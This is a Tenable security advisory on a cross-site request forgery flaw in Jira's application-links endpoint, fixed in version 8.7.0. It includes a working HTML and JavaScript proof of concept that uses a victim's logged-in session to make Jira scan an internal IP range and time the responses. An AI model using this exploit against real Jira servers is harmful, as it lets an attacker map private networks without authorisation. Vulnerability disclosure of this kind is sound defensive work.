Synopsis
It is possible to perform a CSRF on the following request for configuring application links: /rest/applinks/3.0/applicationlinkForm/manifest.json
To exploit this vulnerability an attacker would need to convince a user with an active WebSudo session (and permissions to create application links,) to click on a crafted link.
Proof of Concept:
The below code generates a request to the Jira server to initiate the process of creating an application link for a range of IP addresses (this script was set to test the range 172.16.68.220-240 on port 80). The script times how long it takes to get a response from each host, and posts it on a textArea on the web page.
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<h2>CSRF Host Discovery Scanner via the Application Links</h2>
<p><button onclick="startScan()">scan</button>
<br>
<textarea id="textarea" rows=34 cols=50></textarea>
<script>
function startScan() {
doFetch('172.16.68.151', 220, 240);
}
function doFetch(jiraIp, currentIp, endIp) {
var timer = Date.now();
var url = '172.16.68.' + currentIp.toString();
fetch('http://' + jiraIp + ':8080/rest/applinks/3.0/applicationlinkForm/manifest.json?url=http://' + url +'/insertMessageHere:80&_=1572448964763',
{
method: 'GET',
credentials: 'include'
})
.then(function(response) {
return response.text();
})
.then(function(text) {
timer = Date.now() - timer;
document.getElementById("textarea").value += "\nip: " + url + " \tResponse time: " + timer + "ms";
if (currentIp < endIp)
doFetch(jiraIp, currentIp + 1, endIp);
})
}
</script>
</body>
</html>
Solution
Upgrade to 8.7.0 or above.Additional References
https://confluence.atlassian.com/jirasoftware/jira-software-8-7-x-release-notes-990550432.htmlDisclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]